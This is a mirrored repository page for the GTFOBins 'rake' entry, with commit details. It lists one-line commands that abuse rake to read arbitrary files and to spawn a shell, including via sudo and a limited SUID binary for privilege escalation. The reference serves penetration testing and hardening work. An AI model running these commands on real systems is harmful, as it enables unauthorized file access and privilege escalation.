1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-07 20:50:38 +02:00
GTFOBins.github.io/_gtfobins/rake.md
LinuxSploit 0b196471f8
Add rake file-read
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2021-07-17 08:42:47 +02:00

352 B

functions
file-read shell sudo limited-suid
description code
The file is actually parsed and the first wrong line is returned in an error message. LFILE=file-to-read rake -f $LFILE
code
rake -p '`/bin/sh 1>&0`'
code
sudo rake -p '`/bin/sh 1>&0`'
code
./rake -p '`/bin/sh 1>&0`'